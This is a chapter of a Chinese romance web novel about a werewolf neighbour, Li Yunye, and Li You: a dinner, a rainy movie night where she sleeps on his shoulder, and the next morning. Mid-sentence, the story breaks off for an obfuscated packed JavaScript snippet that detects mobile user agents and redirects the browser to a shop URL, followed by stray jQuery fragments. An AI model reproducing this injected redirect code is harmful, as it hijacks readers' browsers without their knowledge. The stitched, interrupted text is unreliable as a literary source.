60. 第 60 章

作品:《被报恩狼人缠上了

    厉云野顺手打开盖子,一股清甜的米香瞬间涌了出来,颗颗米粒饱满分明,泛着莹润的光泽,看着就让人食指大动。


    菜都炒好后,黎悠刚想伸手去端锅,就被厉云野轻轻按住了肩膀。


    “别动,我来。”他语气坚定,不等黎悠反驳,已经转身拿起隔热垫,小心翼翼地将栗子烧鸡、清炒时蔬和番茄炒蛋一一端到餐厅的餐桌上。


    接着又拿起米饭碗,盛了满满两碗饭,颗颗饱满的米粒堆得像小山丘,还细心地将碗沿擦拭干净。


    黎悠看着他忙前忙后的身影,忍不住失笑:“厉云野,我只是手指划了个小口子,又不是成了玻璃娃娃,用得着这么夸张吗?”


    话虽这么说,心里却暖烘烘的,像被灶火烤着似的,甜丝丝的。她没有再坚持,只是坐在餐桌旁,看着他将碗筷一一摆放整齐,眼底的笑意藏都藏不住。


    厉云野在她对面坐下,目光落在她贴着创可贴的指尖上,语气依旧带着几分认真:“伤口再小也得注意,万一感染了就麻烦了。”


    餐桌上,栗子烧鸡色泽红亮,板栗吸饱了肉汁,软糯香甜;清炒时蔬翠绿鲜嫩,入口带着自然的清甜,没有多余的调味,却最是爽口。


    番茄炒蛋酸甜开胃,配饭再合适不过。两人拿起筷子,偶尔交换一个眼神,轻声聊着家常,话题从超市的物价说到小区里的趣事,气氛温馨而融洽。


    黎悠夹了一块板栗放进嘴里,甜糯的滋味在舌尖化开,她忍不住眯起眼睛,像只满足的小猫咪:“真好吃,厉云野,你厨艺进步好快啊。”


    厉云野看着她眉眼弯弯的样子,眼底的琥珀色愈发柔和,嘴角勾起一抹浅浅的笑意:“是你指导得好。”


    一顿饭吃得慢条斯理,温馨而满足。饭后,厉云野没给黎悠动手的机会,直接收拾起碗筷,端进厨房。


    他打开水龙头,仔细地清洗着碗碟,动作比做饭时熟练了不少,泡沫在水流中翻滚,将碗碟洗得干干净净。


    黎悠靠在厨房门口,看着他认真的侧脸,灯光在他身上投下柔和的阴影,心里忽然涌起一股莫名的归属感,像这暖融融的厨房一样,让人觉得安稳而惬意。


    等厉云野将厨房收拾干净,擦干手上的水珠转过身时,恰好对上黎悠温柔的目光。两人四目相对,空气里似乎又弥漫开那种微妙的甜意,像栗子烧鸡的余韵,久久不散。


    傍晚时分,天色骤然沉郁如墨,一场毫无预兆的夏夜急雨噼啪砸在落地窗上,雨帘密不透风,将外界的喧嚣彻底隔绝在方寸之外。


    原定的散步自然泡汤,室内只剩淅沥雨声缠绵不绝。


    黎悠抱着蓬松柔软的抱枕,盘腿坐在宽敞的米色沙发上,仰头望向厉云野,眼底漾着几分雀跃的期待:“看来是出不去了,要不我们看部电影?”


    “好。”厉云野无半分异议,将遥控器递到她手中,自己则在沙发另一头落座。


    两人之间隔着恰到好处的距离,既能隐约嗅到彼此气息交织的淡香,又不至于显得唐突局促,空气里浮动着若有似无的暧昧,像浸了蜜的薄雾,轻轻萦绕。


    黎悠选了部经典文艺片,节奏舒缓得如同夜色漫过窗台,不疾不徐。


    雨声成了天然的背景音,室内只开了几盏暖黄色氛围灯,昏黄柔光漫洒开来,将两人的影子拉得纤长,在地毯上悄悄交叠,难分彼此。


    电影过半,情节渐趋平缓。近日忙着赶完订单、筹备开学的黎悠,在雨声与舒缓配乐的双重包裹下,眼皮渐渐沉重如铅。


    她的小脑袋一点一点,像只困倦的小猫,终于在某个无意识的瞬间,轻轻歪倒,恰好靠在了厉云野的肩膀上。


    那一刹那,厉云野全身骤然僵住,仿佛被施了定身咒。


    属于黎悠的气息瞬间将他裹挟,洗发水的清冽混着她身上独有的甜暖,像春日清晨带露的白蒙代尔玫瑰,无孔不入地钻进鼻腔,挠得人心头发痒。


    她的发丝柔软地蹭着他的脖颈,带来一阵细微的、令人战栗的痒意,顺着脊椎一路蔓延至四肢百骸。透过薄薄的衣料,他能清晰感受到她脸颊的温热,还有均匀平稳的呼吸,轻轻拂在他的肩头,带着细腻的触感,每一次起伏都像落在心尖的羽毛。


    狼人的敏锐感官在此刻成了甜蜜的折磨。她每一次呼吸的轻重,每一次无意识的发丝轻蹭,甚至睡梦中几不可闻的细微呓语,都被无限放大,清晰地烙印在厉云野的脑海里,挥之不去。


    他全身肌肉紧绷如拉满的弓弦,像一头警惕的豹子,却又因为肩头那份突如其来的珍贵重量,不敢有丝毫动弹,生怕稍一动作,就惊扰了她的好梦。


    电影里演了什么,他早已全然不知。全部心神都用来对抗本能的冲动,想要将黎悠更深地拥入怀中,想要低头亲吻她柔软的发顶,想要将这份温暖牢牢锁住,再也不放开。


    维持僵硬姿势带来了隐隐的生理不适,可每一分煎熬里,都裹着难以言喻的恩赐。


    这段时间两人相处渐密,却始终停留在邻居与朋友的边界,保持着客气的距离,此刻黎悠毫无防备地靠在他肩头,这份突如其来的亲近,让他舍不得打破半分宁静。


    影片落幕,幽蓝的片尾字幕在黑暗中无声滚动,光影在他轮廓深邃的脸上明明灭灭。


    厉云野小心翼翼地调整坐姿,动作慢得近乎超越人类极限,只为让她能靠得更舒服些,不至于从肩头滑落。


    而后,他便保持着这个姿势,微微侧过头,在昏暗的光线下,静静凝视着她的睡颜。


    黎悠睡得毫无防备,长睫如两弯安静的月牙,在眼睑下投下柔和的阴影,鼻尖小巧挺翘,嘴唇微微嘟着,泛着自然的粉润色泽,模样格外柔软乖巧。


    记忆忽然回溯到高中时光,那时厉云野总坐在教室角落,最盼着中午的午休时刻。黎悠会先翻看会儿书,再趴在桌上入睡,而他便能借着这个机会,肆无忌惮又小心翼翼地,远远注视着她的身影。


    只是有件事,一直让他耿耿于怀。有段时间换了座位,黎悠的同桌中午会回家,空出的位置便成了江烁的目标。他总在那时凑过去,坐在黎悠身边叽叽喳喳地小声说话,有一次,甚至伸手捻起几缕她的头发,指尖把玩着,笑得张扬。


    厉云野坐在后面,看着这一幕,手中的笔被他硬生生折断,“咔嚓”一声脆响在安静的教室里格外突兀。可黎悠正全神贯注地看书做题,压根没注意到自己的头发被人随意摆弄。


    那天下午,他偷偷写了张纸条递给班主任,举报班里有同学行为过于亲密,提议让桌子与桌子之间隔开一条距离。


    班主任当天便采纳了他的建议。


    而此刻,黎悠就靠在他的肩头,模样里满是全然的信任与依赖,像只终于找到了归宿的小兽。


    厉云野的瞳孔深处,渐渐泛起淡淡的金色光芒。他竭力克制着血液里翻涌的狂躁感,这种感觉与月圆之夜的躁动有些相似,却又截然不同,更灼热,也更温柔。


    一种近乎疼痛的柔软,渐渐涨满他的胸腔。他想起那些冰冷孤寂的月圆之夜,想起实验室里刺眼的灯光,想起漫长岁月里只能遥遥注视黎悠的时光。那些辗转反侧的思念,那些小心翼翼的靠近,在此刻的温暖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087259|192310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁静面前,都变得模糊而遥远。


    他愿意用所拥有的一切,换取这片刻的永恒。


    窗外雨声未歇,室内时光静好,连空气都仿佛凝固在这温柔的瞬间。


    高大的男人如同一尊沉默的守护神,为肩头安睡的姑娘,撑起了一片与世隔绝的温柔天地。这场雨下了一整夜,直到晨曦微露,雨势渐停,第一缕阳光透过窗帘缝隙洒进来。


    黎悠才揉着惺忪的睡眼从沙发上坐起身,搭在肩头的羊绒毯顺着脊背滑落,露出一截纤细的腰线。


    她愣了两秒,混沌的意识才慢慢回笼,昨晚窝在沙发上看电影,竟然看着看着就睡着了,而厉云野,竟然就这么陪着她坐了一夜,两个成年人,就着客厅微弱的光影,将就着睡了一整晚。


    发现自己竟在靠他肩头睡了一夜,而他依旧保持着昨晚的姿势,背脊挺得笔直,只是肩膀似乎有些僵硬。


    晨光透过窗帘的缝隙,在客厅地板上投下几道鎏金般的光带,尘埃在光束里轻轻浮沉。


    身旁的男人依旧坐得笔直,肩背挺拔如松。厉云野只在眼底凝着一丝极淡的倦色,像被晨雾轻轻晕染开的墨痕,稍不留意便会忽略。他周身依旧清冽挺拔,仿佛一夜未眠对他而言,不过是寻常小事。


    “你醒了?”厉云野微微动了动肩膀,久坐的僵硬让他眉头几不可察地蹙了下,声音却依旧平稳低沉,“早。”


    “早……”黎悠的嗓音还带着刚睡醒的软糯沙哑,话音未落,便猛地想起什么,倏地仰起脸,清澈的杏眼盛满担忧,直直看向他,“你……你就这样坐了一晚上?”


    她的目光下意识地黏在他的后背,仿佛能穿透那件熨帖的白衬衫,看到底下尚未完全愈合的疤痕,那是上次为了保护她留下的。


    黎悠慌忙坐直身体,脸颊瞬间染上漫天红霞,声音带着刚睡醒的软糯,又藏着几分歉意:“你背上的伤还没好全呢,就这么坐了一晚上……真的没事吗?”


    厉云野缓缓活动了一下肩膀,骨节发出轻微的声响,动作依旧从容。


    他抬眸看她,眼底是未加掩饰的柔光,像是盛着清晨的曦光,声音因长久的沉默而带着一丝沙哑,却格外温柔:“没关系,我不累。”


    厉云野起身,在她身旁的单人沙发坐下,闻言,眼睫微垂,避开了她过于灼热的视线。


    他端起茶几上早已凉透的水杯,抿了一口,才淡淡开口:“没事的。”顿了顿,又补充了一句,语气平淡得像是在陈述一个既定事实,“我的身体……恢复能力向来比常人好。”


    这已经不是黎悠第一次注意到他的异常了。上次在图书馆,他替她挡下那重重一击,背上的淤青和擦伤,本该养上十天半月,可黎悠第二天再见时,背上的伤就已经结痂。


    心底那点关于“他到底是什么人”的疑虑,像株破土的小苗,又悄悄探了探头。但看着他平静无波的侧脸,那到了嘴边的问句,终究还是被她咽了回去。每个人都有不愿言说的秘密,她该尊重他的界限,只要厉云平安无事就好。


    “那也不行。”黎悠猛地站起身,语气带着小太阳般的执拗,不容置喙,“就算是铁打的人,一晚上不睡也扛不住。你等着,我去做早饭,吃完你立刻回去补觉。”


    她说着便快速洗漱完,径自走向厨房拉开冰箱门,取出鸡蛋、吐司和鲜牛奶,指尖触到冰凉的玻璃罐时,才后知后觉地发现,自己刚才的语气好像太强硬了些,但一想到他带着伤硬撑了一夜,便又觉得理所当然。


    厉云野没有跟过去,只是倚在厨房门框边,静静地看着她忙碌的背影。